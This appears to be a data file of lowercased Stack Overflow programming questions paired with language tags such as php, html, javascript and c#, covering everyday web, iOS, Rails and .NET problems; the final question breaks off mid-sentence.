using radio button to set cookie preferences   i have these 4 radio buttons in which i am submitting to a validatepreferences.php which is the php code below however i am struggling to understand why when i click submit nothing is going through the if statement therefore not giving me my cookie in which to change images based on user input   <pre><code>&lt;input type= radio  name= radioimage &gt;&lt;img class= prefimage  src= ../images/image1.jpg &gt;                         &lt;br&gt;                         &lt;input type= radio  name= radioimage &gt;&lt;img class= prefimage  src= ../images/image2.jpg &gt;                         &lt;br&gt;                         &lt;input type= radio  name= radioimage &gt;&lt;img class= prefimage  src= ../images/image3.jpg &gt;                         &lt;br&gt;                         &lt;input type= radio  name= radioimage &gt; no picture    </code></pre>   i think the php code must have an error or my if is not right altough i cannot see it.   <pre><code>&lt; php     if(isset($_post[ radioimage ])){         $radioimage = $_post[ radioimage ];         if ($radioimage ==  0  || $radioimage ==  1  || $radioimage ==  2  || $radioimage == 3 ) {         setcookie( image   $radioimage  time()+300);     } }      &gt; </code></pre>,php
authorized net payment  i have to develop an application which do payment transfer.i have to send some important data from android to web using url.but data should not shown in url for security purpose .how i can do this,android
how do i get custom uiview in table view cell  i have a custom <code>uiview</code> inside my prototype cell in a nd ios 8.2 app before it was a regular uiimage and i was getting it back fine with [currentcell viewwithtag:200]; inside my <code>uitableview</code> <code>cellforrowindexpath</code> method. but after i have made a custom uiview and replaced the uiimage it always returns nil..    <em>edit</em> after trying to add a new label to a working menu controller that is way more simple just loops over a array of strings. and setting the tag and in the loop (that is already printing the correct value out for the menu) it can t find the newly added label. is it possible to somehow not get the tags compiled       <pre><code>-(uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath{  static nsstring *cellidentifier = @ cell ; uitableviewcell *currentcell = [tableview dequeuereusablecellwithidentifier:cellidentifier]; lists *listitem = [lists objectatindex:indexpath.row];  if(currentcell == nil){     currentcell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier]; }  //this allways retuns nil shadedbadgeimage *cellimage = (shadedbadgeimage *)[currentcell viewwithtag:200]; //uiview *cellimage = (uiview *)[currentcell viewwithtag:200]; //cellimage.completedprocentage = 2.0 * listitem.id.doublevalue;   uilabel *celltitle = (uilabel *) [currentcell viewwithtag:101]; uilabel *celldescription = (uilabel *)[currentcell viewwithtag:102];  celltitle.text = listitem.id.stringvalue; celldescription.text = listitem.shorttext;  return currentcell; </code></pre>   and my custom uiview. that is using the layoutsubviews to render the masked image and progress bar.    ib_designable   <pre><code>@implementation shadedbadgeimage {      double linewidth;     cashapelayer *backgroundlayer;     cashapelayer *coloredlayer;     calayer *imagelayer;  }     - (void)baseinit {         linewidth = 5.0;         [self updatestroke];     }      - (id)initwithframe:(cgrect)frame     {          self = [super initwithframe:frame];         if (self) {             [self baseinit];         }         return self;     }      - (id)initwithcoder:(nscoder *)adecoder {         if ((self = [super initwithcoder:adecoder])) {             [self baseinit];         }         return self;     }      - (void)layoutsubviews {         [super layoutsubviews];          //adds the background ring layer         if(backgroundlayer == nil)         {             backgroundlayer = [[cashapelayer alloc] init];              cgrect rect = cgrectinset(self.bounds  linewidth/2.0  linewidth/2.0);             uibezierpath *roundpath = [uibezierpath bezierpathwithovalinrect:rect];              backgroundlayer.path = roundpath.cgpath;             backgroundlayer.fillcolor = nil;             backgroundlayer.linewidth = linewidth;             backgroundlayer.strokecolor = [uicolor colorwithwhite:0.5 alpha:0.05].cgcolor;              [self.layer addsublayer:backgroundlayer];         }         backgroundlayer.frame = self.layer.frame;          //adds the color ring layer         if(coloredlayer == nil)         {             coloredlayer = [[cashapelayer alloc] init];              cgrect rect = cgrectinset(self.bounds  linewidth/2.0  linewidth/2.0);             uibezierpath *roundpath = [uibezierpath bezierpathwithovalinrect:rect];              coloredlayer.path = roundpath.cgpath;             coloredlayer.fillcolor = nil;             coloredlayer.linewidth = linewidth;             coloredlayer.strokecolor = [uicolor bluecolor].cgcolor;              coloredlayer.anchorpoint = cgpointmake(0.5  0.5);             coloredlayer.transform = catransform3drotate(coloredlayer.transform  -m_pi/2  0  0  1);              [self.layer addsublayer:coloredlayer];         }         coloredlayer.frame = self.layer.frame;          //adds the color ring layer         if(imagelayer == nil)         {             cashapelayer *imagemask = [[cashapelayer alloc] init];             cgrect insertbounds = cgrectinset(self.bounds  linewidth + 3.0  linewidth + 3.0);             uibezierpath *innerpath = [uibezierpath bezierpathwithovalinrect:insertbounds];              imagemask.path = innerpath.cgpath;             imagemask.fillcolor =  [uicolor graycolor].cgcolor;             imagemask.frame = self.bounds;             [self.layer addsublayer:imagemask];               imagelayer = [[calayer alloc] init];             imagelayer.mask = imagemask;             imagelayer.frame = self.layer.frame;             imagelayer.backgroundcolor =[uicolor graycolor].cgcolor;             imagelayer.contentsgravity = kcagravityresizeaspectfill;              [self.layer addsublayer:imagelayer];         }         [self updatestroke];     }      - (void) updatestroke{         if (coloredlayer != nil)         {             coloredlayer.strokeend = self.completedprocentage;         }          if(self.image != nil)         {             imagelayer.contents = (__bridge id)([self.image cgimage]);         }     }        @end </code></pre>,ios
html <select> tag ie 7  8 problem  <a href= http://www.shrani.si/f/29/f9/1pyuai84/brez-naslova.png  rel= nofollow noreferrer >alt text http://www.shrani.si/f/29/f9/1pyuai84/brez-naslova.png</a>    i have  tag but when i click on it it opens from top of the page not from where i click on it.     is big   <pre><code>&lt;select name= ctl00$cplresults$ddlfromcurrency  onchange= javascript:settimeout( __dopostback(\ ctl00$cplresults$ddlfromcurrency\  \ \ )   0)  id= ctl00_cplresults_ddlfromcurrency  class= styled &gt;         &lt;option value= 0 &gt;izberi&lt;/option&gt;         &lt;option value= aed  &gt;združeni arabski emirati&lt;/option&gt;          &lt;option value= afa &gt;afganistan  &lt;/option&gt;         &lt;option value= all  &gt;albanija  &lt;/option&gt;         &lt;option value= ang  &gt;nizozemski antili&lt;/option&gt;         &lt;option value= ars  &gt;argentina&lt;/option&gt;         &lt;option value= aud  &gt;avstralija&lt;/option&gt;         &lt;option value= awg  &gt;aruba&lt;/option&gt;          &lt;option value= bbd  &gt;barbados&lt;/option&gt;         &lt;option value= bhd  &gt;bahrajn  &lt;/option&gt;         &lt;option value= bif  &gt;burundi&lt;/option&gt;         &lt;option value= bmd  &gt;bermudi&lt;/option&gt;         &lt;option value= bnd  &gt;brunej&lt;/option&gt;         &lt;option value= bob  &gt;bolivija&lt;/option&gt;          &lt;option value= brl  &gt;brazilija&lt;/option&gt;         &lt;option value= bsd  &gt;bahami&lt;/option&gt;         &lt;option value= btn  &gt;butan&lt;/option&gt;         &lt;option value= bwp  &gt;bocvana&lt;/option&gt;         &lt;option value= bzd  &gt;belize&lt;/option&gt;         &lt;option value= cad  &gt;kanada&lt;/option&gt;          &lt;option value= chf  &gt;švica&lt;/option&gt;         &lt;option value= clp  &gt;čile&lt;/option&gt;         &lt;option value= cny  &gt;kitajska&lt;/option&gt;         &lt;option value= cop  &gt;kolumbija&lt;/option&gt;         &lt;option value= crc  &gt;kostarika&lt;/option&gt;         &lt;option value= cup  &gt;kuba&lt;/option&gt;          &lt;option value= cve  &gt;zelenortski otoki&lt;/option&gt;         &lt;option value= cyp  &gt;ciper&lt;/option&gt;         &lt;option value= czk  &gt;češka republika&lt;/option&gt;         &lt;option value= djf  &gt;džibuti&lt;/option&gt;         &lt;option value= dkk  &gt;danska&lt;/option&gt;         &lt;option value= dop  &gt;dominikanska republika&lt;/option&gt;          &lt;option value= dzd  &gt;alžirija&lt;/option&gt;         &lt;option value= eek  &gt;estonija&lt;/option&gt;         &lt;option value= egp   &gt;egipt&lt;/option&gt;         &lt;option value= etb  &gt;etiopije&lt;/option&gt;         &lt;option value= eur  &gt;europa&lt;/option&gt;         &lt;option value= fkp  &gt;falklandski otoki&lt;/option&gt;          &lt;option value= gbp  &gt;vb&lt;/option&gt;         &lt;option value= ghc  &gt;gana&lt;/option&gt;         &lt;option value= gip  &gt;gibraltar&lt;/option&gt;         &lt;option value= gmd  &gt;gambija&lt;/option&gt;         &lt;option value= gnf  &gt;gvineja&lt;/option&gt;         &lt;option value= gtq  &gt;gvatemala&lt;/option&gt;          &lt;option value= gyd  &gt;gvajana&lt;/option&gt;         &lt;option value= hkd  &gt;hongkong&lt;/option&gt;         &lt;option value= hnl  &gt;honduras&lt;/option&gt;         &lt;option value= hrk  &gt;hrvaška&lt;/option&gt;         &lt;option value= htg  &gt;haiti&lt;/option&gt;         &lt;option value= huf  &gt;madžarska&lt;/option&gt;          &lt;option value= idr  &gt;indonezija&lt;/option&gt;         &lt;option value= inr  &gt;indija&lt;/option&gt;         &lt;option value= isk  &gt;islandija&lt;/option&gt;         &lt;option value= jmd  &gt;jamajka&lt;/option&gt;         &lt;option value= jod  &gt;jordanija&lt;/option&gt;         &lt;option value= jpy  &gt;japonska&lt;/option&gt;          &lt;option value= kes  &gt;kenija&lt;/option&gt;         &lt;option value= khr  &gt;kambodža&lt;/option&gt;         &lt;option value= kmf  &gt;komori&lt;/option&gt;         &lt;option value= kpw  &gt;severna koreja&lt;/option&gt;         &lt;option value= krw  &gt;koreja&lt;/option&gt;         &lt;option value= kwd  &gt;kuvajt&lt;/option&gt;          &lt;option value= kyd  &gt;kajmanski otoki&lt;/option&gt;         &lt;option value= kzt  &gt;kazahstan&lt;/option&gt;         &lt;option value= lak  &gt;laoška r.  &lt;/option&gt;         &lt;option value= lbp  &gt;libanon&lt;/option&gt;         &lt;option value= lkr  &gt;šrilanka&lt;/option&gt;         &lt;option value= lrd  &gt;liberija&lt;/option&gt;          &lt;option value= lsl  &gt;lesoto&lt;/option&gt;         &lt;option value= ltl  &gt;litva&lt;/option&gt;         &lt;option value= lyd  &gt;libija&lt;/option&gt;         &lt;option value= mad  &gt;zahodna sahara&lt;/option&gt;         &lt;option value= mdl  &gt;moldavija&lt;/option&gt;         &lt;option value= mkd  &gt;makedonija&lt;/option&gt;          &lt;option value= mmk  &gt;mjanmar&lt;/option&gt;         &lt;option value= mnt  &gt;mongolija&lt;/option&gt;         &lt;option value= mop  &gt;macau&lt;/option&gt;         &lt;option value= mro  &gt;mavretanija&lt;/option&gt;         &lt;option value= mur  &gt;mauritius&lt;/option&gt;         &lt;option value= mvr  &gt;maldivi&lt;/option&gt;          &lt;option value= mwk  &gt;malavi&lt;/option&gt;         &lt;option value= mxn  &gt;mehika&lt;/option&gt;         &lt;option value= myr  &gt;malezija&lt;/option&gt;         &lt;option value= mzm  &gt;mozambik&lt;/option&gt;         &lt;option value= nad  &gt;namibija&lt;/option&gt;         &lt;option value= nio  &gt;nikaragva&lt;/option&gt;          &lt;option value= nok  &gt;norveška  &lt;/option&gt;         &lt;option value= npr  &gt;nepal&lt;/option&gt;         &lt;option value= nzd  &gt;zelandija&lt;/option&gt;         &lt;option value= omr  &gt;oman&lt;/option&gt;         &lt;option value= pab  &gt;panama&lt;/option&gt;         &lt;option value= pen  &gt;peru&lt;/option&gt;          &lt;option value= pgk  &gt;papua nova gvineja&lt;/option&gt;         &lt;option value= php  &gt;filipini&lt;/option&gt;         &lt;option value= pkr  &gt;pakistan&lt;/option&gt;         &lt;option value= pln  &gt;poljska&lt;/option&gt;         &lt;option value= pyg  &gt;paragvaj&lt;/option&gt;         &lt;option value= qar  &gt;katar&lt;/option&gt;          &lt;option value= rub  &gt;ruska federacija&lt;/option&gt;         &lt;option value= sar  &gt;saudova arabija&lt;/option&gt;         &lt;option value= sbd  &gt;solomonovi otoki&lt;/option&gt;         &lt;option value= scr  &gt;sejšeli&lt;/option&gt;         &lt;option value= sek &gt;švedska&lt;/option&gt;         &lt;option value= sgd  &gt;singapur&lt;/option&gt;          &lt;option value= shp  &gt;saint helena&lt;/option&gt;         &lt;option value= sit  &gt;slovenija&lt;/option&gt;         &lt;option value= sll  &gt;sierra leone&lt;/option&gt;         &lt;option value= sos  &gt;somalija&lt;/option&gt;         &lt;option value= std  &gt;sao tome in principe&lt;/option&gt;         &lt;option value= svc  &gt;salvador&lt;/option&gt;          &lt;option value= syp  &gt;sirija&lt;/option&gt;         &lt;option value= szl  &gt;svazi&lt;/option&gt;         &lt;option value= thb  &gt;tajska&lt;/option&gt;         &lt;option value= tnd  &gt;tunizija&lt;/option&gt;         &lt;option value= top  &gt;tonga&lt;/option&gt;         &lt;option value= trl  &gt;turčija-lira&lt;/option&gt;          &lt;option value= try  &gt;turčija&lt;/option&gt;         &lt;option value= ttd  &gt;trinidad in tobago&lt;/option&gt;         &lt;option value= twd  &gt;tajvan&lt;/option&gt;         &lt;option value= tzs  &gt;tanzanija&lt;/option&gt;         &lt;option value= uah  &gt;ukrajina&lt;/option&gt;         &lt;option value= ugx  &gt;uganda&lt;/option&gt;          &lt;option value= usd  &gt;zda  &lt;/option&gt;         &lt;option value= uyu  &gt;urugvaj&lt;/option&gt;         &lt;option value= veb  &gt;venezuela&lt;/option&gt;         &lt;option value= vnd  &gt;vietnam&lt;/option&gt;         &lt;option value= vuv  &gt;vanuatu&lt;/option&gt;         &lt;option value= wst  &gt;samoa&lt;/option&gt;          &lt;option value= xaf  &gt;srednjeafriška republika&lt;/option&gt;         &lt;option value= xcd  &gt;saint vincent in grenadine&lt;/option&gt;         &lt;option value= xof  &gt;togo&lt;/option&gt;         &lt;option value= xpf  &gt;nova kaledonija&lt;/option&gt;         &lt;option value= yer  &gt;jemen&lt;/option&gt;         &lt;option value= zar  &gt;južna afrika&lt;/option&gt;          &lt;option value= zmk  &gt;zambija&lt;/option&gt;         &lt;option value= zwd  &gt;zimbave&lt;/option&gt;      &lt;/select&gt; </code></pre>,html
"how to expand div in a html page  i m working on a browser app.  i have read about a couple of dozen pages about the <strong>div</strong> tag.  i just can not get it to work.  i know i should use css but i will incorporate that at the end after i get some other things done.    basically i want a header and a footer.  then a fixed width side bar and the rest to be filled with a content area.  i almost got it but the sidebar starts too low (it should be the same height of the content) and the content does not expand to fit the width of the browser.    here is what i have got:    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;header style= background-color:#013499; height:60 &gt;
 
   &lt;br&gt;
   &lt;span style= color:white &gt;&amp;nbsp &amp;nbsp whole number&lt;/span&gt;
   &lt;select&gt;
     &lt;option value=  &gt;&lt;/option&gt;
     &lt;option value= 1 &gt;one&lt;/option&gt;
     &lt;option value= 2 &gt;two&lt;/option&gt;
   &lt;/select&gt;
 &lt;/header&gt;
 
 &lt;div&gt;
   &lt;div style= display:inline-block; background-color:#7690c5; width:200 &gt;
     task1
     &lt;br&gt;task2
     &lt;br&gt;
   &lt;/div&gt;
   &lt;div style= display:inline-block; background-color:#f2f2f2 &gt;
     top
     &lt;br&gt;content
     &lt;br&gt;bottom
   &lt;/div&gt;
 &lt;/div&gt;
 
 &lt;footer style= background-color:#013499; height:60 &gt;
 
   &lt;br&gt;
   &lt;form name= actions  action= test.html  method= post &gt;
     &amp;nbsp &amp;nbsp
     &lt;input type= submit  name= send_button  value= save &gt;&amp;nbsp &amp;nbsp
     &lt;input type= submit  name= send_button  value= cancel &gt;
   &lt;/form&gt;
 
 &lt;/footer&gt;</code></pre>
 </div>
 </div>
     i found <a href= https://stackoverflow.com/questions/10464716/div-expand-to-visually-fill-vertical-space >this post</a> which helped a lot.  but it is still not right.  i cant seem to find any documentation that explains how these things work together.    i cant figure out how to get the content to fill up the remaining space.  it ends up too short (sizing to the actual content) or extending beyond the screen size because at 100% it includes the width of the sidebar.  i know whats going wrong but i do not know how to make it right.    i moved the styles out of the html now.    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>html  body {
     height: 100%;
  margin: 0;
 }
 
 header {
     width: 100%;
     height: 60px;
     background-color: #013499;
  margin: 0;
 }
 
 #wrapper {
     min-height: 100%;
     height: auto !important;
     height: 100%;
     margin: 0 0 -60px 0; /* the bottom margin is the negative value of the footer s height */
     position: relative;
 }
 
 #sidebar {
     background-color: #7690c5;
     width: 300px;
     height: auto !important;
     bottom: 60px;
     top: 60px;
  display: inline-block;
  position: absolute;
 }
 
 #content {
     background-color: #f2f2f2;
     width: 100%;
     height: auto !important;
     bottom: 60px;
     top: 60px;
     margin-left: 300px;
  display: inline-block;
  position: absolute;
 }
 
 footer {
     margin: -60px 0 0 0;
     width: 100%;
     height: 60px;
     background-color: #013499;
 }
 
 #buttons {
  margin-right: 20px;
  text-align: right;
 }
 
 &lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
 &lt;title&gt;viewer test&lt;/title&gt;
 
  &lt;link rel=stylesheet type= text/css  href=erp.css&gt; 
 
 &lt;/head&gt;
 &lt;body&gt;
 
  &lt;div id= wrapper &gt;
 
   &lt;header&gt;
 
    &lt;br&gt;
       &lt;span style= color:white &gt;&amp;nbsp &amp;nbsp whole number&lt;/span&gt;
       &lt;select&gt;
        &lt;option value=  &gt;&lt;/option&gt;
        &lt;option value= 1 &gt;one&lt;/option&gt;
     &lt;option value= 2 &gt;two&lt;/option&gt;
       &lt;/select&gt;
 
      &lt;/header&gt;
 
   &lt;div id= sidebar &gt;
        task1&lt;br&gt;
        task2&lt;br&gt;
   &lt;/div&gt;
 
      &lt;div id= content &gt;
        content
   &lt;/div&gt;
 
  &lt;/div&gt;
 
     &lt;footer&gt;
 
      &lt;br&gt;
   &lt;form id= buttons  name= actions  action= test.html  method= post &gt;
       &lt;input type= submit  name= send_button  value= save &gt;&amp;nbsp &amp;nbsp
       &lt;input type= submit  name= send_button  value= cancel &gt;
   &lt;/form&gt;
 
     &lt;/footer&gt;
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
how to split the given email address into different parts in php  i want to know that how i can split the address <code>saeed000@vu.edu.pk</code> by using different functions of php  in the result i want to display it like:   <pre><code>username = saeed000 domainname = vu domain type = education and he is from pakistan. </code></pre>,php
trying to write to a file and force download with php  im using the following code to present a file for download. the file saves on the server correctly with the data  and prompts for download  but the downloaded file is empty. the new file is in the same directory as this script.   <pre><code>&lt; php  if(strlen($_post[ name ])&lt;1){ echo  error: you must enter a filename&lt;br&gt;&lt;a href=data.php&gt;back&lt;/a&gt; ; exit(); }  $name = $_post[ name ]; $data = file_get_contents( temp.php );  $fh = fopen( $name    w ) or die( can t open file ); fwrite($fh  $data); fclose($fh);  header( cache-control: public ); header( content-description: file transfer ); header( content-length:  . filesize( $name ). ; ); header( content-disposition: attachment; filename=$name ); header( content-type: application/octet-stream;  );  header( content-transfer-encoding: binary );   &gt; </code></pre>,php
pageyoffset alternative   i would like to know if there s a way to know if an element has passed the screen for example: <br> this paragraph is 5000px away from the top and i want it to do an animation when it passes 100px of my screen <br> the problem here is  if i use pageyoffset i should know how many pixels away the element is from the top of the page. instead  i want it to do an animation when the element passes 100px of my screen without knowing where the element is positioned.    js:   <pre><code>window.onscroll = function() {testf()};  function testf() {   if (window.pageyoffset &gt; number.parseint(document.stylesheets[0].cssrules[1].style.height) - 0.5 * screen.height &amp;&amp; window.pageyoffset &lt; number.parseint(document.stylesheets[0].cssrules[1].style.height) + 0.15 * screen.height) {     document.stylesheets[0].cssrules[8].style.left =  25% ;     document.stylesheets[0].cssrules[9].style.left =  25% ;   }   else{     document.stylesheets[0].cssrules[8].style.left =  100% ;     document.stylesheets[0].cssrules[9].style.left =  -50% ;   } } </code></pre>   css:   <pre><code>#audioplayer {   height: 1000px; } #desc {   position: relative; }  .box1  .box2 {   width: 50%;   height: 300px;   display: inline-block;   overflow: hidden; } </code></pre>   html:    <pre><code>&lt;div id= audioplayer &gt; &lt;/div&gt; &lt;div id= desc &gt;   &lt;div class= box1 &gt;     &lt;div class= abox1 &gt;&lt;/div&gt;   &lt;/div&gt;   &lt;div class= box2 &gt;     &lt;div class= abox2 &gt;&lt;/div&gt;   &lt;/div&gt; </code></pre>,javascript
css: put h1 on image  i have the following situation. i have an image ( tag) and heading ( tag). i want to place heading on the image. how can i do it     i tried to use negative margin <a href= http://jsfiddle.net/58h7c/1/  rel= nofollow >http://jsfiddle.net/58h7c/1/</a> but in this case image lay on the heading. i tried to play with z-index - no effect.    maybe you know better solution     tia!    ps    one another idea is to use image as a background. but in this case when i try to do padding for #imgplace container - background image is stay on place (when the div-container was moved).,css
ned help converting to sql  hi having trouble figuring this out. can someone help me convert this to sql  im trying to just select a specific sentence from various fields.   <pre><code>numbervar begpos := 0; numbervar endpos := 0;  begpos := instr ({header_msg.memo_pad1}   status:  1); if begpos &gt;= 1 then endpos := instr (begpos {header_msg.memo_pad1}   . );  if not isnull({header_msg.memo_pad1}) then  ( begpos := begpos + 7;  if (begpos &lt;= 0 or endpos &lt;= 0) or begpos = endpos then     else mid ({header_msg.memo_pad1} begpos  endpos - begpos)   ) else       </code></pre>,sql
"javascript dynamic nested objects  i was looking into how to create a dynamic nested objects from a string  for example  a string  obj1.obj2.obj3.obj4   how do you turn that into nested objects with the same order.    i googled around and i found this nice and clean code  but i did not understand how it worked  and there was no explanation on the page where it was written  can someone explain how this works please     here is the code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var s =  key1.key2.key3.key4 ;
 
 var a = s.split( . );
 
 var obj = {};
 var temp = obj;
 
 for (var k =0; k &lt; a.length; k++) {
  temp = temp[a[k]] = {};
   console.log(temp);
 }
 
 console.log(obj);</code></pre>
 </div>
 </div>
     why is there a <code>var temp = obj</code>     what does this line do :   <pre><code>temp = temp[a[k]] = {}; </code></pre>   also  the console.log(temp) inside the loop always logs an empty object {}  why     thanks for the feedback!",javascript
how to convert an array of char into a normal char in c  lets say i have:   <pre><code>char myname[] =  jason marks  ; </code></pre>   and i would like to transfer that into a normal char. the following wouldn t work:   <pre><code>char fullname = myname[]; </code></pre>   how can i make it so that the whole  jason marks   gets transferred into the new variable  and also  is it possible to delete characters from that new variable     for example  remove the first character and remain with:   <pre><code> ason marks   </code></pre>,c
floating divs  one absolute width other relative width   there is probably a simple answer  but i can t seem to figure it out.     code:   <pre><code>&lt;body&gt;   &lt;div class= left &gt;   &lt;/div&gt;   &lt;div class= right &gt;   &lt;/div&gt; &lt;/body&gt; </code></pre>   i want <code>.left</code> to be <code>width:100px</code> and <code>.right</code> to be the remaining width of <code>&lt;body&gt;</code>  but for the life of me  i can t get it.     i have:   <pre><code>&lt;style&gt; .left{  float:left;  width:100px; } body{  width:100%;  height:100%; } .right{  float:left;  width:85%; } &lt;/style&gt; </code></pre>   but of course <code>85%</code> won t fill <code>&lt;body&gt;</code>. any suggestions  i know it s simple.,html
compress html code  just a quick question  i have seen some web page if i click view page source  the html code is compressed  if i want my html code to be compressed like that  is there a function doing the compression or i need to use come compress tool to do it before the webpage is loaded on line  thanks a lot.,html
access a model from another model in entity framework  can i access an entity of a model from another model      when each model is an edmx file. why i want to use multiple models      because i have a database dependent model and an independent model    <pre><code>i don t  want to update the independent one while updating the dependent model from database </code></pre>   thanks for reading.,c#
how to redirect my web www.myweb.com to www.myweb.com/index.html  i m trying to redirect my web to index page of my web. if i configure it directly in my admin panel  it don t load css styles and javascripts. i need your help.    thanks.,html
how to use if else condition to change doctype according to the browser in html file.   we are working on :hover pseudo-class in ie 7  which works only if the docktype is     &lt; !doctype html public  -//w3c//dtd html 4.01 transitional//en   <a href= http://www.w3.org/tr/html4/strict.dtd  rel= nofollow noreferrer >http://www.w3.org/tr/html4/strict.dtd</a> >      but it decrement the font size of all element     please help me ..,html
asp.net [date input]  how to make some date input control like a texbox.    i need start date and end date and count period and make a database select. but if i put 2 calendars on my page that will be looking like wierd :-/ so i want to know how to make some dateinput masks for textboxes or some else solution.,asp.net
loop over (optional) method parameters  i m writing a simple library  which provides access to a rest webservice which has multiple optional parameters.   <pre><code>sample url: http://localhost/dosomething a=a&amp;b=b&amp;c=c </code></pre>   so my starting point is a method with optional parameters. something like this:   <pre><code>public byte[] dosomething(string a = null  string b = null  string c = null) {     string query =  dosomething ;     //get parameters     if (a != null)     {         //handle first           query = string.format( {0}&amp;{1}={2}   query   a   a);     }     [...] } </code></pre>   you can imagine  this leads to a long method  if you have a lot of parameters. one way to reduce the code size would be to add every parameter to a collection:   <pre><code>public byte[] dosomething(string a = null  string b = null  string c = null) {     string query =  dosomething ;     var parameters = new dictionary&lt;string  string&gt; {{ a   a}  { b   b}  { c   c}};     foreach (var parameter in parameters)     {         if (!string.isnullorempty(parameterpair.value))         {             //handle first               query = string.format( {0}&amp;{1}={2}   query  parameter.key  parameter.value);         }     }     [...]  } </code></pre>   this is a bit more suiteable  but i m curious if there s a better method to solve such a problem without creating long if statements or manually creating a collection.,c#
javascript: difference between defining variables `var x; var y;` vs `var x y;`   case 1:   <pre><code>var x = null; var y = 1; var z =  hello ; </code></pre>   case 2:   <pre><code>var x = null  y = 1  z =  hello  </code></pre>   are there any performance difference between the two  or what s the difference,javascript
.net windows application code review check list  i need to prepare check list for .net windows application. it should include security  design and coding standards. i googled but no luck. am getting for asp.net not for windows appliation. is there any check list available for this      thanks in advance..    gunasekaran sambandhan,.net
how do i set a param in a controller action via a partial parameter   experts     i m building a small app  that shall organize objectives into categories. on the categories index page  i wan t to show a form to add new objectives that directly belong to the category. in forms on other pages  there might be a selector for the category.    these are both models:   <pre><code>class category &lt; activerecord::base   belongs_to :user   has_many :objectives ...  class objective &lt; activerecord::base   attr_accessible :category_id  :description  :title   belongs_to :user   belongs_to :category ... </code></pre>   here i pass the category_id into the form:   <pre><code>&lt;%= render partial:  shared/objective_cat_form   locals: {category: category.id} %&gt; </code></pre>   this is the form that is displayed for each category:   <pre><code>&lt;%= form_for(@new_objective) do |f| %&gt;   &lt;%= render  shared/error_messages   object: @new_objective %&gt;   &lt;div class= field &gt;     &lt;%= f.text_field :title  placeholder:  add new objective...  %&gt;     &lt;%= hidden_field_tag :category_id  :value =&gt; category %&gt;     &lt;%= f.submit  new objective   class:  btn btn-large btn-primary  %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   and finally  here is the controller to create a new objective:   <pre><code>class objectivescontroller &lt; applicationcontroller    def create     rails.logger.debug params.inspect     @objective = current_user.objectives.build(params[:objective])      if params[:category_id] != nil       @objective.category_id = params[:category_id]     end      if @objective.save       flash[:success] =  objective added      else       flash[:success] =  error      end     redirect_to categories_path   end ... </code></pre>   this is the hash  that is passed to the controller:   <pre><code>{ utf8 =&gt; ✓    authenticity_token =&gt; szgt358hws2xz4tss2m6cetx68axjb2vq6dzhu608dw=    objective =&gt;{ title =&gt; fancy title }   category_id =&gt; {:value=&gt;42}    commit =&gt; new objective    action =&gt; create    controller =&gt; objectives } </code></pre>   in the controller  i need another way to set the category_id into the new object  the current code doesn t work. how should i do this  i don t feel that this is  the rails way . i ve read several tutorials and books  but i couldn t figure out how this should be done. is there a way to get the category_id directly into the  objective -hash     i think that i can t use nested resources here  while i also wan t to create objectives outside the categories pages.    thanks for advice :),ruby-on-rails
why does this code return the results that it does  when i run this in node i get the following result. why    <pre><code>//why does this code return the results that it does  function isbig(thing) {   if (thing == 0 || thing == 1 || thing == 2) {     return false   }   return true } isbig(1)    // false isbig([2])  // false isbig([3])  // true </code></pre>,javascript
jquery and checkbox data via ajax  i m trying to create a set of checkboxes that i can check and send over ajax.    what i m looking to do ideally is to send several pieces of information via ajax to a php script  <code>the checkbox that has been checked</code> and also an <code>id</code>    the <code>id</code> is based on the url  so i can get that using a <code>$_get[ id ]</code>.    so if the user checked both boxes  the values that need to be sent to the php script will be:    <code>53</code> <code>57</code> <code>1</code> - where this value is a value in the url.    i have the following so far:   <pre><code>&lt;input type= checkbox  name= test[]  value= 53  id= part_shipping  /&gt; &lt;input type= checkbox  name= test[]  value= 57  id= part_shipping  /&gt; &lt;input name= confirm  type= button  value= confirm  /&gt;  &lt;script type= text/javascript  src= http://code.jquery.com/jquery.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt;  $( input[type=button] ).click( function() {    $( :checked ).each(function() {    var value = $(this).val();          id =  id:1 ;          data =  shipping:  + value;          console.log(data);    });     $.post( ajax.php   data);    });  &lt;/script&gt; </code></pre>   how do i append the id within the data so it reads: <code>shipping:53 shipping:57 id:1</code>,jquery
how to write the square root of a number in html   how do you write the square root to a number in html  i am going through the w3 tutorial on html and nothing really gives me what i want  a square root which encloses the number  something like this image below:<a href= https://i.stack.imgur.com/knakc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/knakc.png  alt= something like this ></a>,html
on 32bit windows 7: unable to generate a temporary class  an attempt was made to load a program with an incorrect format cs0009  having a problem with a .net program that runs on many machines  but is failing on one.  the program is a bootstrapper that downloads the real program files from a web service.    client received two new windows 7 32bit machines.  program runs fine on one and fails on the other.    error is below.  (i m retyping from screen shot  so going to skip some details in stack trace.)   <pre> there was an error when trying to start the target application: unable to generate a temporary class (result=1). error cs0009: metadata file  c:\windows\assembly\gac_msil\system.xml\2.0.0.0__b77a5c561934e089\system.xml.dll  could not be opened --  an attempt was made to load a program with an incorrect format.   system.invalidoperationexception: unable to generate a temporary class (result=1). error cs0009: metadata file  c:\windows\assembly\gac_msil\system.xml\2.0.0.0__b77a5c561934e089\system.xml.dll  could not be opened --  an attempt was made to load a program with an incorrect format.     at system.xml.serialization.compiler.compile...   at system.xml.serialization.tempassembly.generateassembly...   at system.xml.serialization.tempassembly..ctor...   at system.xml.serialization.xmlserializer.getserializersfromcache...   at system.xml.serialization.xmlserializer.frommappings...   at system.web.services.protocols.soapclienttype..ctor(type type)   at system.web.services.protocols.soaphttpclientprotocol..ctor()   at [our class that inherits from soaphttpclientprotocol]..ctor() (default ctor)   at [our class that calls the service].updateapplication() </pre>   the incorrect format error seems to most typically be associated with trying to load a 32bit dll into a 64 bit process  but since this is a 32bit os  that can t be the problem.  that 